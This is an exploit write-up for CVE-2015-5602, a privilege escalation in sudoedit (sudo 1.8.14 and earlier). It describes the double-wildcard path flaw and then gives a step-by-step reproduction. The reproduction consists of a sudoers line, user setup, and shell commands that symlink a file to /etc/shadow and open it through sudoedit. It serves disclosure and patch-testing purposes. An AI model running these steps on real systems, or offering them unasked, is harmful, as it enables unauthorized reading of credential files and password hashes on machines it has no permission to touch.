exploit - Sudo <=1.8.14 - Unauthorized Privilege

# Exploit Title: sudo -e - a.k.a. sudoedit -  unauthorized privilege escalation
# Date: 07-23-2015
# Exploit Author: Daniel Svartman
# Version: Sudo <=1.8.14
# Tested on: RHEL 5/6/7 and Ubuntu (all versions)
# CVE: CVE-2015-5602.

Hello,

I found a security bug in sudo (checked in the latest versions of sudo
running on RHEL and ubuntu) when a user is granted with root access to
modify a particular file that could be located in a subset of directories.

It seems that sudoedit does not check the full path if a wildcard is used
twice (e.g. /home/*/*/file.txt), allowing a malicious user to replace the
file.txt real file with a symbolic link to a different location (e.g.
/etc/shadow).

I was able to perform such redirect and retrieve the data from the
/etc/shadow file.

In order for you to replicate this, you should configure the following line
in your /etc/sudoers file:

<user_to_grant_priv> ALL=(root) NOPASSWD: sudoedit /home/*/*/test.txt

Then, logged as that user, create a subdirectory within its home folder
(e.g. /home/<user_to_grant_priv>/newdir) and later create a symbolic link
inside the new folder named test.txt pointing to /etc/shadow.

When you run sudoedit /home/<user_to_grant_priv>/newdir/test.txt you will
be allowed to access the /etc/shadow even if have not been granted with
such access in the sudoers file.

I checked this against fixed directories and files (not using a wildcard)
and it does work with symbolic links created under the /home folder.

CREATE A NORMAL USER

-bash-3.2# useradd -b /home/ -c "normal user" -u 1000 -m -s /bin/bash -p password centos
-bash-3.2# ls -l /home/
total 8
drwx------ 4 centos centos 4096 Aug  6 04:00 centos

MODIFY SUDER CONFIGURATION

centos  ALL=(root)      NOPASSWD: sudoedit /home/*/*/test.txt

PWN

-bash-3.2# su centos
[centos@lab centos]$ pwd
/home/centos
[centos@lab centos]$ mkdir pwn
[centos@lab centos]$ cd pwn/
[centos@lab pwn]$ ln -s /etc/shadow /home/centos/pwn/test.txt
[centos@lab pwn]$ ls -l /home/centos/pwn/
total 4
lrwxrwxrwx 1 centos centos 11 Aug  6 04:04 test.txt -> /etc/shadow
[centos@lab pwn]$ sudoedit /home/centos/pwn/test.txt